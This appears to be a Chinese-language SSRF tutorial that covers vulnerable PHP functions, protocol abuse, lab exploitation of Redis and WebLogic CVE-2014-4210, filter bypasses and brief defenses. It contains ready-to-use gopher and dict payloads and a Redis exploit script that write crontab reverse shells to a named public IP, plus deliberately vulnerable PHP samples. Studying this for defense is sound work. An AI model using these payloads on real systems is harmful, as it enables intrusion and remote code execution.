SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统 (正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。)
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理
攻击远程 和 本地的服务器。
攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
常见业务场景(功能点):
从URL关键字中寻找:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
……
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞,接下来挨个讲解:
(1)file_get_contents()
file_get_contents() 函数把整个文件或一个url中的文件读入一个字符串中。
$url = $_GET['url'];;
echo file_get_contents($url);
?>
file_get_content()
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content()函数把一个字符串写入文件中。
(2)fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
— 打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。
errno: 这个是如果建立socket不成功的时候返回的错误编号。如果errno的返回值为0,而且这个函数的返回值为FALSE,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。
errstr: 是错误的时候返回的错误提示信息;
timeout: 设置连接的时限,单位为秒。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
(3)curl_exec()
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。参数url:如果提供了该参数,CURLOPT_URL选项将会被设置成这个值。你也可以使curl_setopt()函数手动地设置这个值。
**curl_setopt ( resource $ch , int $option , mixed $value )函数为 cURL 会话句柄设置选项。 **
参数 ch:由 curl_init() 返回的 cURL 句柄。 **
** option:需要设置的CURLOPT_XXX选项。
value:将设置在option选项上的值。 CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。设置为false,结果中就没有头部信息。
在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息。
…
注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() 默认不跟踪跳转,
6.file_get_contents() 支持php://input协议
(1)file
: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
(2)dict
:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher
:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s
:探测内网主机存活
以curl举例,查看 curl 支持的协议列表 curl -V。本地利用方式:
(1)使用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'
(2)使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)(特定环境)
// * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)
ssrf.php:
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且释放系统资源
?>
post.php:
<html>
<head>
<title>post</title>
</head>
<body>
echo $_REQUEST[cmd];
?>
</body>
</html>
1.利用file协议(任意文件读取)
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
或者:
2.利用dict协议
(1)查看开放的端口及端口上运行服务的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
(2)通过dict协议getshell
有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF)。
dict协议要一条一条的执行,而gopher协议执行一条命令就行了。如果服务端不支持gopher协议,可尝试dict协议。
一条一条的执行就可以了。
3.利用gopher协议
(1)攻击内网redis并反弹shell
利用redis未授权访问攻击redis
攻击redis的exp
,shell.sh:
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
从而捕获到数据,并进行转换
转换规则如下:
如果第一个字符是>
或者<
那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r
字符串替换成%0d%0a空白行替换为
%0a`
结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
用的时候修改里面的参数别忘了。
反弹成功
http://39.x.x.x:8000/ssrf.php
是存在SSRF漏洞的Web服务
192.168.1.4
是redis应用所在内网ip
121.36.67.230
是公网服务器,接收反弹shell
(2)伪造post请求反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
# curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST /post.php HTTP/1.1%0d%0aHost: 39.105.93.165%0d%0aUser-Agent: curl/7.58.0%0d%0aAccept: */*%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0acmd=ccccc%0d%0a%0d%0abash -i >& /dev/tcp/121.36.67.230/4444 0>&1'
反弹成功
192.168.1.5
是内网Web服务,有post.php
4 .利用http/s协议
探测内网主机是否存活
说明内网ip为192.168.1.3的主机存活
在页面SSRF.php中,程序获取GET参数URL,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url)
,然后调用curl_exec请求该URL,由于服务端会将banner信息返回客户端,所以可以根据banner判断主机是否存在某些服务,代码如下:
function curl($url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch); // 抓取 URL 并把它传递给浏览器
curl_close($ch);
}
$url=$_GET['url'];
curl($url);
?>
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。参数url:如果提供了该参数,CURLOPT_URL选项将会被设置成这个值。你也可以使curl_setopt()函数手动地设置这个值。
**curl_setopt ( resource $ch , int $option , mixed $value )函数为 cURL会话句柄设置选项。 **
参数 ch:由 curl_init() 返回的 cURL 句柄。 **
** option:需要设置的CURLOPT_XXX选项。
value:将设置在option选项上的值。 CURLOPT_HEADER 启用时会将头文件的信息作为数据流输出。设置为false,结果中就没有头部信息。
在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息。
页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回到网页上
漏洞利用方式
首先查看curl的版本和该版本支持的协议
可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多
SSRF漏洞利用的测试地址:http://127.0.0.1/ssrf.php?url=http://127.0.0.1/test.php
可以看到能够直接查看php文件的内容。
页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回网页上,如果将请求改为http://www.baidu.com.则页面会显示http://www.baidu.com的网页内容
如果我们将url的参数篡改为内网地址,则会泄露内网信息,例如当url=192.168.0.2:3306时,就可以知道该ip主机是否存在mysql服务
将url参数篡改为内网资源地址时,就会读取本地文件,这和文件包含漏洞很类似!
参考远程利用 3.利用gopher协议
CVE-2014-4210
下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境
docker-compose build
docker-compose up -d
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.查看端口
访问
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001即可
not connect,说明80端口未开放
返回404,说明端口开放
2.探测内网主机存活
说明内网ip为192.168.1.1的主机存活
3.注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器,发现172.22.0.2:6379可以连通
和上边的远程利用几乎一样。
将反弹shell脚本写入/etc/crontab定时任务
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
对上述进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送
反弹成功
1.限制为http://www.xxx.com 域名,采用http基本身份认证的方式绕过。即@:
http://[email protected]
2.限制请求IP不为内网地址,当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
1.@
http://[email protected]
实际上是以用户名abc连接到站点127.0.0.1,同理
http://[email protected]:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://[email protected]@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.添加端口号
http://127.0.0.1:8080
4.利用短网址
站长工具短网址
5.利用特殊域名
在域名上设置A记录,指向127.0.1
7.利用进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.利用句号
127。0。0。1 >>> 127.0.0.1
9.302跳转
使用https://tinyurl.com生成302跳转地址
1、禁用不需要的协议(如:file:///、gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP
参考:
https://blog.csdn.net/Ping_Pig/article/details/99412487
https://www.cnblogs.com/iors/p/9777571.html
https://blog.csdn.net/qq_43625917/article/details/104528645?utm_source=app